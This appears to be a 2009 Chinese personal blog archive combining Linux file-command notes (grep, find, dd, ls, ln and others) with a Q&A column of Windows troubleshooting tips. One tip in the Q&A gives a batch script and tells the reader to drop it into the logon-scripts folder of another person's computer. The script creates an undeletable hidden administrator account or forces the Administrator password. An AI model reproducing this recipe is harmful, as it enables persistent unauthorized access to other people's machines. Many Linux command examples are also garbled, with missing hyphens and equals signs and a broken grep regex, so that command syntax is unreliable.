2009年11月16日星期一

【Linux】笔记--Linux 必学60文件处理个命令

Linux系统信息存放在文件里,文件与普通的公务文件类似。每个文件都有自己的名字、内容、存放地址及其它一些管理信息,如文件的用户、文件的大小等。文件可以是一封信、一个通讯录,或者是程序的源语句、程序的数据,甚至可以包括可执行的程序和其它非正文内容。 Linux文件系统具有良好的结构,系统提供了很多文件处理程序。这里主要介绍常用的文件处理命令。

 

file

 

1.作用

 

file通过探测文件内容判断文件类型,使用权限是所有用户。

 

2.格式

 

file [options] 文件名

 

3.[options]主要参数

 

-v:在标准输出后显示版本信息,并且退出。

 

-z:探测压缩过的文件类型。

 

-L:允许符合连接。

 

-f name:从文件namefile中读取要分析的文件名列表。

 

4.简单说明

 

使用file命令可以知道某个文件究竟是二进制(ELF格式)的可执行文件, 还是Shell Script文件,或者是其它的什么格式。file能识别的文件类型有目录、Shell脚本、英文文本、二进制可执行文件、C语言源文件、文本文件、DOS的可执行文件。

 

5.应用实例

 

如果我们看到一个没有后缀的文件grap,可以使用下面命令:

 

$ file grap

 

grap English text

 

此时系统显示这是一个英文文本文件。需要说明的是,file命令不能探测包括图形、音频、视频等多媒体文件类型。

 

mkdir

 

1.作用

 

mkdir命令的作用是建立名称为dirname的子目录,与MS DOS下的md命令类似,它的使用权限是所有用户。

 

2.格式

 

mkdir [options] 目录名

 

3.[options]主要参数

 

m, --mode=模式:设定权限<模式>;,与chmod类似。

 

p, --parents:需要时创建上层目录;如果目录早已存在,则不当作错误。

 

v, --verbose:每次创建新目录都显示信息。

 

--version:显示版本信息后离开。

 

4.应用实例

 

在进行目录创建时可以设置目录的权限,此时使用的参数是"-m"。假设要创建的目录名是"tsk",让所有用户都有rwx(即读、写、执行的权限),那么可以使用以下命令:

 

$ mkdir m 777 tsk

 

grep

 

1.作用

 

grep命令可以指定文件中搜索特定的内容,并将含有这些内容的行标准输出。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。

 

2.格式

 

grep [options]

 

3.主要参数

 

[options]主要参数:

 

c:只输出匹配行的计数。

 

I:不区分大小写(只适用于单字符)。

 

h:查询多文件时不显示文件名。

 

l:查询多文件时只输出包含匹配字符的文件名。

 

n:显示匹配行及行号。

 

s:不显示不存在或无匹配文本的错误信息。

 

v:显示不包含匹配文本的所有行。

 

pattern正则表达式主要参数:

 

\:忽略正则表达式中特殊字符的原有含义。

 

^:匹配正则表达式的开始行。

 

$: 匹配正则表达式的结束行。

 

\<:从匹配正则表达式的行开始。

 

\>;:到匹配正则表达式的行结束。

 

[ ]:单个字符,如[A]A符合要求

 

[ - ]:范围,如[A-Z],即ABC一直到Z都符合要求

 

。:所有的单个字符。

 

* :有字符,长度可以为0

 

正则表达式是Linux/Unix系统中非常重要的概念。正则表达式(也称为 "regex"或"regexp")是一个可以描述一类字符串的模式(Pattern)。如果一个字符串可以用某个正则表达式来描述,我们就说这个字符和该正则表达式匹配(Match)。这和DOS中用户可以使用通配符"*"代表任意字符类似。在Linux系统上,正则表达式通常被用来查找文本的模式,以及对文本执行"搜索-替换"操作和其它功能。

 

4.应用实例

 

查询DNS服务是日常工作之一,这意味着要维护覆盖不同网络的大量IP地址。有时 IP地址会超过2000个。如果要查看nnn.nnn网络地址,但是却忘了第二部分中的其余部分,只知到有两个句点,例如nnn nn..。要抽取其中所有nnn.nnn IP地址,使用[09 ]\{3 \}\.[00\{3\}\。含义是任意数字出现3次,后跟句点,接着是任意数字出现3次,后跟句点。

 

$grep '[09 ]\{3 \}\.[00\{3\}\' ipfile

 

补充说明,grep家族还包括fgrepegrepfgrepfix grep,允许查找字符串而不是一个模式;egrep是扩展grep,支持基本及扩展的正则表达式,但不支持\q模式范围的应用及与之相对应的一些更加规范的模式。

 

dd

 

1.作用

 

dd命令用来复制文件,并根据参数将数据转换和格式化。

 

2.格式

 

dd [options]

 

3.[opitions]主要参数

 

bs=字节:强迫 ibs=<字节>;obs=<字节>;

 

cbs=字节:每次转换指定的<字节>;

 

conv=关键字:根据以逗号分隔的关键字表示的方式来转换文件。

 

count=块数目:只复制指定<块数目>;的输入数据。

 

ibs=字节:每次读取指定的<字节>;

 

if=文件:读取<文件>;内容,而非标准输入的数据。

 

obs=字节:每次写入指定的<字节>;

 

of=文件:将数据写入<文件>;,而不在标准输出显示。

 

seek=块数目:先略过以obs为单位的指定<块数目>;的输出数据。

 

skip=块数目:先略过以ibs为单位的指定<块数目>;的输入数据。

 

4.应用实例

 

dd命令常常用来制作Linux启动盘。先找一个可引导内核,令它的根设备指向正确的根分区,然后使用dd命令将其写入软盘:

 

$ rdev vmlinuz /dev/hda

 

$dd ifvmlinuz of/dev/fd0

 

上面代码说明,使用rdev命令将可引导内核vmlinuz中的根设备指向/dev/hda,请把"hda"换成自己的根分区,接下来用dd命令将该内核写入软盘。

 

find

 

1.作用

 

find命令的作用是在目录中搜索文件,它的使用权限是所有用户。

 

2.格式

 

find [path][options][expression]

 

path指定目录路径,系统从这里开始沿着目录树向下查找文件。它是一个路径列表,相互用空格分离,如果不写path,那么默认为当前目录。

 

3.主要参数

 

[options]参数:

 

depth:使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容。

 

maxdepth levels:表示至多查找到开始目录的第level层子目录。level是一个非负数,如果level0的话表示仅在当前目录中查找。

 

mindepth levels:表示至少查找到开始目录的第level层子目录。

 

mount:不在其它文件系统(如MsdosVfat等)的目录和文件中查找。

 

version:打印版本。

 

[expression]是匹配表达式,是find命令接受的表达式,find命令的所有操作都是针对表达式的。它的参数非常多,这里只介绍一些常用的参数。

 

name:支持统配符*?

 

atime n:搜索在过去n天读取过的文件。

 

ctime n:搜索在过去n天修改过的文件。

 

group grpoupname:搜索所有组为grpoupname的文件。

 

user 用户名:搜索所有文件属主为用户名(ID或名称)的文件。

 

size n:搜索文件大小是nblock的文件。

 

print:输出搜索结果,并且打印。

 

4.应用技巧

 

find命令查找文件的几种方法:

 

1)根据文件名查找

 

例如,我们想要查找一个文件名是lilo.conf的文件,可以使用如下命令:

 

find / name lilo.conf

 

find命令后的"/"表示搜索整个硬盘。

 

2)快速查找文件

 

根据文件名查找文件会遇到一个实际问题,就是要花费相当长的一段时间,特别是大型 Linux文件系统和大容量硬盘文件放在很深的子目录中时。如果我们知道了这个文件存放在某个目录中,那么只要在这个目录中往下寻找就能节省很多时间。比如smb.conf文件,从它的文件后缀".conf"可以判断这是一个配置文件,那么它应该在/etc目录内,此时可以使用下面命令:

 

find /etc name smb.conf

 

这样,使用"快速查找文件"方式可以缩短时间。

 

3)根据部分文件名查找方法

 

有时我们知道只某个文件包含有abvd4个字,那么要查找系统中所有包含有这4个字符的文件可以输入下面命令:

 

find / name '*abvd*'

 

输入这个命令以后,Linux系统会将在/目录中查找所有的包含有abvd4个字符的文件(其中*是通配符),比如abvdrmyz等符合条件的文件都能显示出来。

 

(4) 使用混合查找方式查找文件

 

find命令可以使用混合查找的方法,例如,我们想在/etc目录中查找大于500000字节,并且在24小时内修改的某个文件,则可以使用-and ()把两个查找参数链接起来组合成一个混合的查找方式。

 

find /etc -size +500000c -and -mtime +1

 

mv

 

1.作用

 

mv命令用来为文件或目录改名,或者将文件由一个目录移入另一个目录中,它的使用权限是所有用户。该命令如同DOS命令中的renmove的组合。

 

2.格式

 

mv[options] 源文件或目录 目标文件或目录

 

3.[options]主要参数

 

i:交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答"y"或"n",这样可以避免误覆盖文件。

 

f:禁止交互操作。mv操作要覆盖某个已有的目标文件时不给任何指示,指定此参数后i参数将不再起作用。

 

4.应用实例

 

1)将/usr/cbu中的所有文件移到当前目录(用"."表示)中:

 

$ mv /usr/cbu/ * .

 

2)将文件cjh.txt重命名为wjz.txt

 

$ mv cjh.txt wjz.txt 

 

ls

 

1.作用

 

ls命令用于显示目录内容,类似DOS下的dir命令,它的使用权限是所有用户。

 

2.格式

 

ls [options][filename]

 

3.options主要参数

 

a, --all:不隐藏任何以"." 字符开始的项目。

 

A, --almostall:列出除了" . "及 ".. "以外的任何项目。

 

--author:印出每个文件著作者。

 

b, --escape:以八进制溢出序列表示不可打印的字符。

 

--blocksize=大小:块以指定<大小>;的字节为单位。

 

B, --ignorebackups:不列出任何以 ~ 字符结束的项目。

 

f:不进行排序,-aU参数生效,-lst参数失效。

 

F, --classify:加上文件类型的指示符号 (*/=@| 其中一个)

 

glike l, but do not list owner

 

G, --nogroupinhibit display of group information

 

i, --inode:列出每个文件的inode号。

 

I, --ignore=样式:不印出任何符合Shell万用字符<样式>;的项目。

 

k:即--blocksize=1K

 

l:使用较长格式列出信息。

 

L, --dereference:当显示符号链接的文件信息时,显示符号链接所指示的对象,而并非符号链接本身的信息。

 

m:所有项目以逗号分隔,并填满整行行宽。

 

n, --numericuidgid:类似-l,但列出UIDGID号。

 

N, --literal:列出未经处理的项目名称,例如不特别处理控制字符。

 

p, --filetype:加上文件类型的指示符号 (/=@| 其中一个)

 

Q, --quotename:将项目名称括上双引号。

 

r, --reverse:依相反次序排列。

 

R, --recursive:同时列出所有子目录层。

 

s, --size:以块大小为序。

 

4.应用举例

 

ls命令是Linux系统使用频率最多的命令,它的参数也是Linux命令中最多的。使用ls命令时会有几种不同的颜色,其中蓝色表示是目录,绿色表示是可执行文件,红色表示是压缩文件,浅蓝色表示是链接文件,加粗的黑色表示符号链接,灰色表示是其它格式文件。ls最常使用的是ls- l,见图1所示。

 

1 使用ls-l命令

 

文件类型开头是由10个字符构成的字符串。其中第一个字符表示文件类型,它可以是下述类型之一:-(普通文件)、d(目录)、l(符号链接)、b(块设备文件)、c(字符设备文件)。后面的9个字符表示文件的访问权限,分为3组,每组3 位。第一组表示文件属主的权限,第二组表示同组用户的权限,第三组表示其他用户的权限。每一组的三个字符分别表示对文件的读(r)、写(w)和执行权限(x)。对于目录,表示进入权限。s表示当文件被执行时,把该文件的UIDGID赋予执行进程的UID(用户ID)或GID(组 ID)。t表示设置标志位(留在内存,不被换出)。如果该文件是目录,那么在该目录中的文件只能被超级用户、目录拥有者或文件属主删除。如果它是可执行文件,那么在该文件执行后,指向其正文段的指针仍留在内存。这样再次执行它时,系统就能更快地装入该文件。接着显示的是文件大小、生成时间、文件或命令名称。

 

diff

 

1.作用

 

diff命令用于两个文件之间的比较,并指出两者的不同,它的使用权限是所有用户。

 

2.格式

 

diff [options] 源文件 目标文件

 

3.[options]主要参数

 

-a:将所有文件当作文本文件来处理。

 

-b:忽略空格造成的不同。

 

-B:忽略空行造成的不同。

 

-c:使用纲要输出格式。

 

-H:利用试探法加速对大文件的搜索。

 

-I:忽略大小写的变化。

 

-n --rcs:输出RCS格式。

 

cmp

 

1.作用

 

cmp("compare"的缩写)命令用来简要指出两个文件是否存在差异,它的使用权限是所有用户。

 

2.格式

 

cmp[options] 文件名

 

3.[options]主要参数

 

-l: 将字节以十进制的方式输出,并方便将两个文件中不同的以八进制的方式输出。

 

cat

 

1.作用

 

cat("concatenate"的缩写)命令用于连接并显示指定的一个和多个文件的有关信息,它的使用权限是所有用户。

 

2.格式

 

cat [options] 文件1 文件2……

 

3.[options]主要参数

 

n:由第一行开始对所有输出的行数编号。

 

b:和-n相似,只不过对于空白行不编号。

 

s:当遇到有连续两行以上的空白行时,就代换为一行的空白行。

 

4.应用举例

 

1cat命令一个最简单的用处是显示文本文件的内容。例如,我们想在命令行看一下README文件的内容,可以使用命令:

 

$ cat README 

 

2)有时需要将几个文件处理成一个文件,并将这种处理的结果保存到一个单独的输出文件。cat命令在其输入上接受一个或多个文件,并将它们作为一个单独的文件打印到它的输出。例如,把READMEINSTALL的文件内容加上行号(空白行不加)之后,将内容附加到一个新文本文件File1 中:

 

$ cat README INSTALL File1

 

3cat还有一个重要的功能就是可以对行进行编号,见图2所示。这种功能对于程序文档的编制,以及法律和科学文档的编制很方便,打印在左边的行号使得参考文档的某一部分变得容易,这些在编程、科学研究、业务报告甚至是立法工作中都是非常重要的。

 

2 使用cat命令/etc/named.conf文件进行编号

 

对行进行编号功能有-b(只能对非空白行进行编号)和-n(可以对所有行进行编号)两个参数:

 

$ cat -b /etc/named.conf

 

ln

 

1.作用

 

ln命令用来在文件之间创建链接,它的使用权限是所有用户。

 

2.格式

 

ln [options] 源文件 [链接名]

 

3.参数

 

f:链结时先将源文件删除。

 

d:允许系统管理者硬链结自己的目录。

 

s:进行软链结(Symbolic Link)

 

b:将在链结时会被覆盖或删除的文件进行备份。

 

链接有两种,一种被称为硬链接(Hard Link),另一种被称为符号链接(Symbolic Link)。默认情况下,ln命令产生硬链接。

 

硬连接指通过索引节点来进行的连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止"误删"的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件才会被真正删除。

 

与硬连接相对应,Lnux系统中还存在另一种连接,称为符号连接(Symbilc Link),也叫软连接。软链接文件有点类似于Windows的快捷方式。它实际上是特殊文件的一种。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

 

动手联系

 

上面我们介绍了Linux文件处理命令,下面介绍几个实例,大家可以动手练习一下刚才讲过的命令。

 

1.利用符号链接快速访问关键目录

 

符号链接是一个非常实用的功能。假设有一些目录或文件需要频繁使用,但由于 Linux的文件和目录结构等原因,这个文件或目录在很深的子目录中。比如Apache Web服务器文档位于系统的/usr/local/httpd/htdocs并且不想每次都要从主目录进入这样一个长的路径之中(实际上这个路径也非常不容易记忆)

 

为了解决这个问题,可以在主目录中创建一个符号链接,这样在需要进入该目录时,只需进入这个链接即可。

 

为了能方便地进入Web服务器(/usr/local/httpd/htdocs)文档所在的目录,在主目录下可以使用以下命令:

 

$ ln -s /usr/local/httpd/htdocs gg

 

这样每次进入gg目录就可访问Web服务器的文档,以后如果不再访问Web服务器的文档时,删除gg即可,而真正的Web服务器的文档并没有删除。

 

2.使用dd命令将init.rd格式的root.ram内容导入内存

 

dd if=/dev/fd0 of=floppy.fd

 

dd if=root.ram of=/dev/ram0 #

 

3.grep命令系统调用

 

grepLinux/Unix中使用最广泛的命令之一,许多Linux系统内部都可以调用它。

 

(1)如果要查询目录列表中的目录,方法如下:

 

$ ls -l | grep 'd'

 

(2)如果在一个目录中查询不包含目录的所有文件,方法如下:

 

$ ls -l | grep '[d]'

 

(3)find命令调用grep,如所有C源代码中的"Chinput",方法如下:

 

$find /ZhXwin -name *.c -exec grep -q -s Chinput {} \;-print

【Linux】笔记--linux/UNIX操作系统文件系统权限管理

linux/UNIX文件的存取有三种权限:

权限 普通文件的存取权限 目录的存取权限
R 具有读取文件的权利 能读取文件名称
W 具有写入文件的权利 能建立和删除文件,可以改变文件名
X 具有执行文件的权利 能使用该目录下的文件(如cd命令)搜索文件等

能够存取文件的用户类型
有三种类型的用户可以存取文件:

用户类型 说明
owner 文件的属主(拥有者)
group 用户组内成员
other 其他用户(非owner和非group)

每种类型的用户都有三种文件存取权限:r、w、x。

文件存取权限的显示
可以通过"ls -l"命令显示,如:

$ ls -l test

显示如下:

-rwxr-xr� 2 test test 321 Jan 00:00:00 test

上行中:
第2-4字符"rwx"表示此文件属主test对文件test的权利为"可读、可写、可执行";
第5-7字符"r-x" 表示此用户组test内的用户对文件test的权利为:
"可读、不可写、可执行";
第8-10字符"r�" 表示其他用户对文件test的权利为"可读、不可写、不可执行"

700,777数字表示问题
linux/UNIX权限的表示如上面的rwx表示为数字7,linux/UNIX的权限使用8421加法表示分别对各个权限设定一定的权值
x 4
w 2
r 1
权值相加后的数来表示用户权限7=1+2+4 就是rwx
777就是rwx rwx rwx
700就是rwx ― ―
000表示未设置 ― ― ―

文件存取权限的修改
用chmod命令修改文件的存取权限


--
Simon Shang

NOV.2009 陈彤电脑问答

用户问:我的ADSL是通的,电脑可以上QQ,但是用浏览器打不开网页。请问这个是怎么回事?
小陈答:您说的这种情况术语叫Winsock LSP“浏览器劫持”,中招者一直高居不下,由于其特殊性,直接删除而不恢复LSP的正常状态很可能会导致无法上网所以对其修复需慎重.  
  先说说什么是Winsock LSP“浏览器劫持”.Winsock LSP全称Windows Socket Layered Service Provider(分层服务提供商),它是Windows底层网络Socker通信需要经过的大门。一些流氓软件可以把自已加进去,就可以截取、访问、修改网络的数据包,可以随意添加广告,还能获取你的浏览习惯.这里加进的是木马,后果可想而知。而且因为LSP工作在底层,所以无论你用什么浏览器,都逃不了经过它。而LSP中的dll文件被删除后,就会出现无法上网的情况。  
  LSP服务在注册表中的位置 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock\Parameters\NameSpace_Catalog5\Catalog_Entries,默认系统已有LSP,分别负责TCP/IP组件(mswsock.dll)和NTDS组件(winrnr.dll)的正常工作,它们的项分别为 000000000001和000000000002,这两个项表示优先权,如果恶意程序想要劫持,只要将自身的项改为000000000001,将系统项依次推后即可,这样就可以优先处理恶意程序了。  
解决办法:
方法1.用360的LSP修复功能来修复。如果提示你的“LSP没有异常,不用修复”,但是你还是上不了网,执行ping命令,在ip地址处会出现(?),无法ping通外网。那么你就用360的“恢复Winsock LSP到初始状态”的功能。  

方法2.就是大家熟悉的,也就是常用的方法,用LSPFix这个工具在断开网络下修复  
方法3.windows xp Service Pack 2 中有两个新增的 Netsh 命令。  
  netsh winsock reset catalog 该命令将 Winsock 目录重置为默认配置。如果安装了可导致网络连接丢失的不正确的 LSP,该命令会很有用。尽管使用该命令可以还原网络连接,但应该慎重使用,因为以前安装的 LSP 都将需要重新安装。  

  netsh winsock show catalog 该命令会显示安装在计算机上的 Winsock LSP 列表。  

  因此我们在没有任何辅助工具的情况下可以用netsh winsock reset命令来重置Winsock.
********************************************************************************************************************



客户问:请问为什么我的笔记本电脑无法进入睡眠状态呢?以前刚装好Vista的时候能进入,后来不知道怎么回事,点击睡眠后就退出来,就是无法进入睡眠状态。

小陈答:Vista仍然沿用了windows xp的休眠机制,如果系统分区(通常是C盘)空间不足以保存休眠文件(与物理内存大小相当)的话,就会导致电脑无法进入睡眠状态。因此,检查一下你的系统盘剩余空间是否足够,如果不够的话,删除垃圾文件和无用文件,并清理不需要的组件和卸载不用的软件,以腾出空间。

********************************************************************************************************************

小陈介绍小技巧一则:建立一个别人永远删不掉的管理员用户
操作步骤:
1、在自己电脑里面建立一个.txt文本文件.
2、在里面输入内容
@echo off
net user xixi 123456 /add 注释:前面xixi是用户名后面123456是密码;
net localgroup administrators xixi /add

3、把这个文件保存,更改后缀为xixi.bat 注释:前面名字随便,后面格式一定要是bat;
4、把这个文件拷贝到对方电脑C:\WINNT\system32\GroupPolicy\User\Scripts\Logon文件目录下,没有的话自己创建。

完成,下次对方电脑无论如何都有这个管理员帐号,删除了,下次启动还有!

如果把里面的内容改成

@echo off
net user administrator 123456 /add

意思是不管你怎么改,下次启动管理员帐号administrator密码一直是123456。


********************************************************************************************************************

小陈的专题讨论:让Windows XP不再出现内存读写错误

计算机系统中运行一些容量较大的程序或者游戏时,系统常常会自动弹出“xx内存不能为 read或written”的错误提示,遇到这种故障信息时,我们该如何才能将它有效排除,同时确保下次运行容量较大的程序或者游戏时,系统不会再次出现系统内存读写错误呢?事实上,当我们不幸遭遇上面的故障信息时,我们可以尝试按照如下步骤进行依次排查:

移除无效插件程序

在上网冲浪的过程中,许多插件程序会偷偷地安装到计算机系统中,而不少插件程序往往都有防删除的功能,因此这些插件很容易与其他的应用程序发生冲突,从而间接地引起系统内存读写错误的现象。为了给那些大容量的应用程序或游戏提供一个干净、稳定的工作环境,我们最好定期使用类似360安全卫士这样的程序,来查看系统是否被偷偷安装了各种无效的垃圾插件程序,一旦发现的话,那可以直接将它们从系统中及时卸载干净。

手工修复系统服务

与系统内存读写操作有关的Windows Management Instrumentation服务要是发生错误的话,也会导致系统弹出内存读写错误的提示,所以当我们遇到这种错误现象时,可以尝试手工修复一下 Windows Management Instrumentation服务,下面就是具体的修复步骤:

首先用鼠标右键单击系统桌面中的“我的电脑”图标,从弹出的快捷菜单中执行“管理”命令,打开本地系统的计算机管理窗口,在该窗口的左侧显示区域,依次展开“服务和应用程序”/ “服务”选项,在对应“服务”选项所在的右侧显示区域中,找到Windows Management Instrumentation服务,并用鼠标右键单击该服务选项,从弹出的快捷菜单中执行“属性”命令,打开如图所示的服务属性设置界面;

其次在该设置界面的“常规”标签页面中,单击“停止”按钮,将Windows Management Instrumentation服务暂时停止运行。之后,打开计算机系统的资源管理器窗口,在该窗口中依次展开“Windows”、 “ssystem32”、“wbem”、“repository”文件夹,然后将“repository”文件夹窗口中的所有文件进行一下备份,备份完成后将该文件夹中的所有内容全部清除掉;

接下来,重新启动一下计算机系统,待系统启动成功后,按前面操作打开Windows Management Instrumentation服务的属性设置界面,单击该界面中的“启动”按钮,相信这么一来Windows Management Instrumentation服务就能正常运行了。

修复系统损坏文件

如果计算机系统不小心感染了病毒或者发生了误删除操作,那么与系统内存读写操作有关的系统文件很可能受到损坏,而这些系统文件一旦受到损坏的话,那么我们就很容易遭遇内存读写故障提示了。所以,我们一旦碰到内存读写错误的提示时,不妨按照如下步骤修复一下系统,看看系统是否存在损坏的文件:

首先使用最新版本的杀毒软件,来对计算机系统进行彻底地病毒查杀操作,因为计算机系统一旦感染了病毒而不进行清除的话,我们即使修复了系统文件,病毒仍然有可能会继续破坏系统文件,所以及时使用杀毒软件来将计算机中的病毒全部清除干净,可以确保系统文件不会继续受到病毒的威胁。

其次使用系统自带的“sfc”命令,来尝试将受到损坏的系统文件修复到正常状态。在修复受损系统文件时,只要依次单击“开始”/“运行”命令,在弹出的系统运行对话框中,输入字符串命令“sfc /scannow”,单击回车键后,该命令程序就会对系统每个角落处的系统文件进行搜索扫描,一旦发现系统文件的版本不正确或者系统文件已经损坏的话,它就能自动弹出提示界面,要求我们插入Windows系统的安装光盘,以便从中提取正常的系统文件来替代不正常的系统文件,从而达到修复系统文件的目的。要是系统修复操作成功的话,相信我们重新启动计算机系统时,就不会看到有什么不正常的现象了。

及时释放系统内存

我们知道,在运行一些容量较大的程序或者游戏时,需要消耗相当的系统内存资源,要是此时内存空间不够时,那么系统内存读写错误的故障提示很有可能就会发生。为了有效避免这种错误提示,我们最好在运行容量较大的程序或者游戏之前,应该先将计算机系统重新启动一下,这样能够将系统内存空间充分释放出来;如果计算机内存空间本身就比较小的话,那么我们建议各位最好及时升级内存,以便拓展内存的有效使用空间,以防止由于系统内存不足而造成系统内存读写错误的发生。

当然,在系统自身内存空间不足的情况下,我们应该先将那些随机启动的杀毒软件以及相关即时监控的程序暂时关闭掉,之后再尝试运行容量较大的应用程序或者网络游戏,因为杀毒软件及相关监控程序会在一定程度上消耗一些系统内存资源,将它们关闭可以节省不小的内存空间,从而能够有效避免内存读写错误现象的发生。当然,值得注意的是,我们在运行完大容量的程序或游戏之后,还必须记得及时将相关程序的监控功能全部打开。

2009年11月2日星期一

PHOTOSHOP 下出现 配置文件似乎有问题 的解决办法

运行photoshop是,出现--配置文件"XXX Monitor"似乎有问题。请重新运行显示器校准软件。并出现 "忽略配置文件" "尽管使用"两个按钮的解决办法。

 

其实无论点选上述的哪个按钮,均可以进入工作界面,只是使用起来会有颜色校正不准的隐患。最终的解决办法是: 只要在Control Panel 运行 Adobe Gamma 自动设置一个档案就可以了。

 

Simon Shang

---------------------------

Viajes Promochina S.L.

Gran via 73 4-C, 28013, Madrid, Spain

Tel: 91 5482187       Fax: 91 5472560

Mail: simon@promochina.net   Skype: spainabc

MSN: simonpromochina@hotmail.com 

 

2009年10月26日星期一

陈彤电脑问答【26/oct/2009】

李小姐:您好!
现在把新的问答发给您,请您查收指正,谢谢!

用户问:我的系统是windows xp,前段时间突然出现了奇怪的问题,开机进入系统后桌面竟然没有任何图标,连任务栏也没有。按"Ctrl+Alt+Del"能打开"任务管理器",用它能正常运行程序。虽然这样勉强也能用,但桌面空无一物实在太不方便了,请问这是什么原因造成的,应该如何解决?
小陈答:桌面所有图标消失应该是系统外壳程序explorer.exe没有正常启动或被关闭造成的(在windows 2000/XP的"任务管理器"中手动结束这个进程也会出现桌面图标消失),可以在"任务管理器"中手动运行explorer.exe找回桌面,但要彻底解决问题就比较麻烦了。可能的原因主要有2种,请依次使用下面的方法尝试修复。
(1)恶意程序/病毒
重启按住F8选择进入"安全模式",用杀毒软件对系统分区进行全面扫描,如果是恶意程序,也可运行msconfig.exe打开"系统配置实用程序",在"启动"选项卡中去除可疑程序的自启动。
(2)文件兼容问题
如果是安装了某些软件后出现了这个问题,那么同样也是进"安全模式",在"控制面板→添加删除程序"中将出现问题前最新安装的程序卸载掉。如果卸载后重启仍没有解决问题,则可能是explorer.exe相关的DLL文件在软件安装时被覆盖或损坏了,解决方法是重启进入"带命令行提示的安全模式",进入%systemroot%目录,用ren命令将shdocvw.dll改名,然后用闪盘从别的电脑中 (要求相同系统)将该文件复制到故障机的目录中,重启即可。其他可能出现的文件包括:hdocvw.dll、Browseui.dll、 Comctl32.dll、Comdlg32.dll、Mlang.dll、Oleaut32.dll、 Shell32.dll、Shlwapi.dll、Urlmon.dll、Wininet.dll、Setupapi.dll。

**********************************************************************************

用户问:键盘最上面的F1-F12的各个按键是干什么用的?
小陈答:在Windows中,F1键到F12键都有各样的操作功能,但知道这些功能的人并不多,新手更是不用说。掌握F1到F12键的一些操作功能,使你比其他人有更高的效率。
F1:如果你处在一个选定的程序中而需要帮助,那么请按下F1。如果现在不是处在任何程序中,而是处在资源管理器或桌面,那么按下F1就会出现 Windows的帮助程序。如果你正在对某个程序进行操作,而想得到Windows帮助,则需要按下Win+F1。按下Shift+F1,会出现"What's This?"的帮助信息。
F2:如果在资源管理器中选定了一个文件或文件夹,按下F2则会对这个选定的文件或文件夹重命名。
F3:在资源管理器或桌面上按下F3,则会出现"搜索文件"的窗口,因此如果想对某个文件夹中的文件进行搜索,那么直接按下F3键就能快速打开搜索窗口,并且搜索范围已经默认设置为该文件夹。同样,在Windows Media Player中按下它,会出现"通过搜索计算机添加到媒体库"的窗口。
F4:这个键用来打开IE中的地址栏列表,要关闭IE窗口,可以用Alt+F4组合键。
F5:用来刷新IE或资源管理器中当前所在窗口的内容。
F6:可以快速在资源管理器及IE中定位到地址栏。
F7:在Windows中没有任何作用。不过在DOS窗口中,它是有作用的,试试看吧!
F8:在启动电脑时,可以用它来显示启动菜单。有些电脑还可以在电脑启动最初按下这个键来快速调出启动设置菜单,从中可以快速选择是软盘启动,还是光盘启动,或者直接用硬盘启动,不必费事进入BIOS进行启动顺序的修改。另外,还可以在安装Windows时接受微软的安装协议。
F9:在Windows中同样没有任何作用。但在Windows Media Player中可以用来快速降低音量。
F10:用来激活Windows或程序中的菜单,按下Shift+F10会出现右键快捷菜单。和键盘中Appl键的作用是相同的。在Windows Media Player中,它的功能是提高音量。
F11:可以使当前的资源管理器或IE变为全屏显示。
F12:在Windows中同样没有任何作用。但在Word中,按下它会快速弹出另存为文件的窗口。

**********************************************************************************

用户问:我是做生意的,硬盘中有一些文件并不想随意让其他人查看,有什么办法能把它们隐藏起来么?
小陈答:对于您的要求,使用一些专业的加密类工具软件当然可以实现隐藏文件的效果,但这必须要安装上第三方加密工具,好像有点小题大做。其实,利用好WinXP系统自身的功能,我们就能赤手空拳隐藏文件。
方法之一:命令法
第一步:按"Win+R"组合键打开"运行"对话框,输入"cmd"打开命令提示符窗口。然后输入"md g:jm.."并按回车键,在G盘(根据你的实际情况输入相应的目录)下新建一个名为"jm."的文件夹。这个文件夹就是我们即将用来存放隐藏文件的文件夹。
第二步:再次进入"运行"对话框,输入上面新建的加密文件夹"g:jm..",敲击回车键后这个文件夹便被打开了。接下来,只要将你想要隐藏的文件放到此文件夹中即可完成文件的隐藏了。
  现在,包括你自己在内的任何一个人都无法直接通过鼠标双击这个文件夹来将其打开,双击后只会得到一个错误的提示框。当自己想要将文件夹打开的时候,可以通过在"运行"对话框中输入这个文件夹的路径来将其打开。如果你想删除此文件夹,只要将其中的内容全部删除,再回到命令提示符窗口中运行"rd g:jm.."即可。

方法之二:寄生法
如果你有一份重要的文件需要隐藏起来,将其伪装成一首双击即可播放的歌曲,绕开别人的视线和怀疑,岂不妙哉!
第一步:新建一个文件夹,将需要隐藏的文件拷贝至此文件夹中。接下来再找首歌曲文件(例如"吉祥三宝")并将其拷贝到此文件夹中。
第二步:在资源管理器中重新定位到上面这个存放了隐藏文件的文件夹,按"F2"键为之重新命名,命名的规则为:歌曲名称+. {00020c01-0000-0000-c000-000000000046},例如"吉祥三宝.{00020c01-0000-0000- c000-000000000046}"。右击鼠标刷新一下当前屏幕,刚才的文件夹便自动变成一首歌曲的图标了,直接双击之也会自动启动播放器来播放它。而当你自己想要打开其中的文件时,只要右击这个歌曲图标并选择"打开"命令即可。
  最后,再将这个改名后的文件夹(已经变成了一首歌曲)放到歌曲文件夹中,谁也不太可能会找到你想隐藏的文件了,不过你自己可要记清楚了,防止时间长了,连自己也忘记了。
  提示:上面的这一串数字及符号需要在英文输入法下进行输入,否则无法成功。此外,这种改动方法有一定的危险性,请先备份好重要文件再操作。

**********************************************************************************

用户问:小陈我这里有个十分紧急的事情:我的D盘有几个文件夹在没有停电前还在的,在恢复供电后就找不到了。我查看了D盘的容量,D盘的已用空间没有减少,可用空间也没有增加,我估计那些文件夹还在里面,但我不知道怎么将消失的文件夹找回来,请指点一下,谢谢!

